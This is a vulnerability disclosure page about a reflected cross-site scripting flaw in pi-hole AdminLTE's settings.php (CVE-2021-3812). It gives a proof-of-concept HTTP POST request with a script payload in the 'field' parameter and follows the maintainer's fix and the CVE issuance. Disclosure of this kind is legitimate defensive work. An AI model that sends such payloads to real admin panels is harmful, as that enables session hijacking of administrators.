Cross-site Scripting (XSS) - Reflected in pi-hole/adminlte

0

Valid Reported on Sep 1st 2021

✍️ Description

Reflected XSS on any POST parameters with a correct token on /admin/settings.php When field is not in the defined list , $debug value is set to true , and the $POST is dumped without filtering

🦹 Proof of Concept

Login as admin
Settings -> Flush log
replace `field` with XSS payload using burp

```
POST /admin/settings.php HTTP/1.1
Host: 192.168.159.138
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.159.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,im
Referer: http://192.168.159.138/admin/settings.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=***
Connection: close

field=<script>alert(1)</script>&token=***
```

💥 Impact

Reflected XSS on field POST parameters with a correct token and not-exist field value

Occurrences

settings.php L44 savesettings.php L752-L755

CVE
CVE-2021-3812
(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Reflected

Severity
Medium (6.7)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

wtwver
@wtwver
unranked

Fixed by

wtwver
@wtwver
unranked

This report was seen 451 times.

We have contacted a member of the **pi-hole/adminlte** team and are waiting to hear back
a year ago

wtwver submitted a **patch** a year ago

Adam Warner validated this vulnerability a year ago

wtwver has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Adam Warner a year ago

@wtwver, we're gearing up for a release, so i've cherry-picked your patches for these two xss, will still award bounty to you

Adam Warner marked this as fixed with commit **f52671** a year ago

wtwver has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

wtwver a year ago Researcher

@admin Could u assistance in issuing a CVE? Thanks a lot

Jamie Slome a year ago Admin

We are able to issue a CVE here, we just need double confirmation from the maintainer that they are happy for this to go ahead.

@maintainer?

Adam Warner a year ago

👍

Jamie Slome a year ago Admin

CVE published! 🎉

Adam Warner a year ago

https://github.com/pi-hole/AdminLTE/security/advisories/GHSA-3gfp-33g5-4cqq

Sign in to join this conversation